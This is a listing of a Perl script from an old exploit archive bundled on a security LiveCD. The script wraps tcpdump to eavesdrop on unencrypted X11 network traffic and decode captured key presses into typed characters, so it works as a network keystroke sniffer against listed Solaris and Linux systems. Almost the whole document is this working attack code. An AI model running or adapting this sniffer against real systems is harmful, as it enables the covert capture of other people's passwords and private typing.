home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / xtcptrace.pl < prev   
Perl Script  |  2005-02-12  |  3KB  |  69 lines

  1. #! /usr/local/bin/perl
  2.  
  3. # xtcptrace - a tcpdump "wrapper" to decode X KeyCodes
  4. # Dave Plonka <plonka@doit.wisc.edu>, Aug 27  1998
  5. #
  6. # Affected:
  7. #   Digital Unix 4.0E
  8. #   SuSE Linux 6.1
  9. #   Red Hat Linux 6.0
  10. #   Solaris 2.6
  11.  
  12. $tcpdump='/path/to/tcpdump';
  13.  
  14. if (! -x ${tcpdump}) {
  15.    print STDERR "You don't seem to have execute permission on \"${tcpdump}\".\n";
  16.    exit 1
  17. }
  18.  
  19. # X KeyCodes...  These can be determined using xkeycaps(1), for example.
  20. # I assume these are well documented somewhere.
  21. # Remember we're watching key presses here, not the resulting X KeySym or
  22. # ASCII character.  So a '[SHIFT]' preceeding an 'A' is probably a capital
  23. # letter A, etc.
  24. %code = (
  25. 0x0A => '1', 0x0B => '2', 0x0C => '3', 0x0D => '4',
  26. 0x0E => '5', 0x0F => '6', 0x10 => '7', 0x11 => '8',
  27. 0x12 => '9', 0x13 => '0', 0x26 => 'A', 0x38 => 'B',
  28. 0x36 => 'C', 0x28 => 'D', 0x1A => 'E', 0x29 => 'F',
  29. 0x2A => 'G', 0x2B => 'H', 0x1F => 'I', 0x2C => 'J',
  30. 0x2D => 'K', 0x2E => 'L', 0x3A => 'M', 0x39 => 'N',
  31. 0x20 => 'O', 0x21 => 'P', 0x18 => 'Q', 0x1B => 'R',
  32. 0x27 => 'S', 0x1C => 'T', 0x1E => 'U', 0x37 => 'V',
  33. 0x19 => 'W', 0x35 => 'X', 0x1D => 'Y', 0x34 => 'Z',
  34. 0x40 => '[ALT]', 0x41 => ' ', 0x42 => '[CAPS LOCK]', 0x32 => '[SHIFT]',
  35. 0x24 => '[RETURN]', 0x16 => '[BACK SPACE]',
  36. );
  37.  
  38. open(STDIN, "${tcpdump} -l -x -s 65535 -v @ARGV|") || die;
  39. select(STDIN); $| = 1;
  40. select(STDOUT); $| = 1;
  41. while (<STDIN>) {
  42.    # This is a total kludge below - we only look at 32 byte packets since
  43.    # that is the size of an xEvent.  However, we may miss some events because
  44.    # they can be grouped together in one packet.  So really, any multiple of
  45.    # 32 (e.g. 64, 96) could also contain xEvents.
  46.    if (m/^\d\d:\d\d:\d\d\.\d+\s+.*\.6000\s+>\s+.*\(32\)/) {
  47.       scalar(<STDIN>); # discard
  48.       scalar(<STDIN>); # discard
  49.       $_ = scalar(<STDIN>);
  50. [2000]# Another kludge - the magic numbers in the line below (0x5018,  0x7d78,
  51. [2000]# etc.) were discovered by watching xEvents with tcpdump(1).  I don't
  52. [2000]# know that they'll have those values from all X servers or what.
  53. [2000]# Probably, the xEvent typedef struct, as defined in <X11/Xproto.h>,
  54. [2000]# should be grokked to implement this correctly.
  55. [2000]# The Right Thing(tm) would probably be to pack the packet content as
  56. [2000]# a 32-byte scalar, then unpack it into it's appropriate structure
  57. [2000]# members.
  58.       if (m/5018\s+7d78\s+[0-9a-f][0-9a-f][0-9a-f][0-9a-f]\s+0000\s+03([0-9a-f][0-9a-f])/) {
  59.      if ($c = $code{hex($1)}) {
  60.         print "$c\n"
  61.      } else {
  62.         print "KeyCode 0x$1\n"
  63.      }
  64.       }
  65.    }
  66. }
  67.  
  68. exit
  69. #                 www.hack.co.za           [2000]#